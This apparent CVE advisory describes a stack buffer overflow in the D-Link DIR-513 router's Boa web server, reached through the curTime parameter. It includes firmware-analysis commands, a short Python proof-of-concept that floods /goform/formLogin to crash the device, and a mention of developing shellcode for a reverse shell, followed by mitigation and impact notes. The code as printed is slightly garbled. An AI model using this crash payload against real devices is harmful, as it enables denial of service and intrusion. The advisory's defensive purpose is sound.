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CVE-2025-70222 is a critical stack-based buffer overflow vulnerability discovered in the D-Link DIR-513 router running firmware version v1.10 . The vulnerability resides within the web server component (Boa) and is triggered via the `curTime` parameter sent to the `/goform/formLogin` and `/goform/getAuthCode` endpoints. The root cause is the insecure use of the `sprintf` function, which concatenates user-supplied input from the `curTime` parameter into a fixed-size stack buffer without proper length validation . Specifically, the vulnerable code pattern resembles sprintf(buffer, "%s?t=%s", existing_string, curTime_value), where `curTime_value` is directly copied from the HTTP POST request . An unauthenticated attacker can exploit this by sending a specially crafted POST request containing an overly long `curTime` string . This overflow can corrupt adjacent memory on the stack, leading to a denial of service (device crash) or, with precise exploitation, allowing the attacker to redirect the program’s execution flow and execute arbitrary malicious code with root privileges on the device . Public proof-of-concept exploits are available, increasing the risk of active exploitation .
DailyCVE Form:
Platform: D-Link DIR-513
Version: v1.10
Vulnerability: Stack Buffer Overflow
Severity: Critical
Date: March 4, 2026
Prediction: No patch expected
What Undercode Say:
Analytics:
The vulnerability is caused by insecure coding practices in the Boa web server. Analyze the firmware using `binwalk` to extract the filesystem and identify the vulnerable binary.
binwalk -Me dir513_firmware_v1.10.bin cd _dir513_firmware_v1.10.bin.extracted/squashfs-root/ grep -r "formLogin" . Locate the web server binary (usually boa)
Use `strings` on the binary to find the `sprintf` pattern and the vulnerable function.
strings usr/sbin/boa | grep -i "sprintf.%s?t=%s"
Static analysis with Ghidra or IDA Pro can pinpoint the exact stack buffer allocation and the `sprintf` call.
How Exploit:
An attacker can exploit this remotely by sending a crafted POST request. The following Python script demonstrates the overflow concept using the `requests` library.
import requests
url = "http://<router_ip>/goform/formLogin"
Create a long string of "A"s to overflow the buffer
payload = "A" 1000 Adjust length to trigger crash and find offset
data = {"curTime": payload}
try:
response = requests.post(url, data=data, timeout=3)
print("Request sent. Check if device crashed.")
except requests.exceptions.Timeout:
print("Timeout likely indicates a crash.")
Further development would involve calculating the exact offset to overwrite the return address on the stack and injecting shellcode for reverse shell.
Protection from this CVE:
No official patch is available as the product is end-of-life .
1. Immediate Replacement: Discontinue use of the D-Link DIR-513 router immediately.
2. Network Segmentation: If replacement is not possible, isolate the device on a separate, firewalled VLAN with no access to the internet or critical internal networks.
3. Access Control: Disable remote administration and ensure the device’s web interface is not exposed to the internet. Restrict access by MAC address if feasible.
4. Monitor: Watch for unusual traffic patterns or connection attempts to the device’s IP on port 80/443.
Impact:
Successful exploitation allows an unauthenticated, remote attacker to achieve full system compromise. This includes the ability to:
Execute arbitrary code with root privileges .
Install malware, such as botnet clients (e.g., Mirai) .
Monitor, capture, and modify network traffic passing through the router .
Pivot into the internal network to attack other devices .
Cause a permanent denial of service by rendering the router inoperable .
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Sources:
Reported By: nvd.nist.gov
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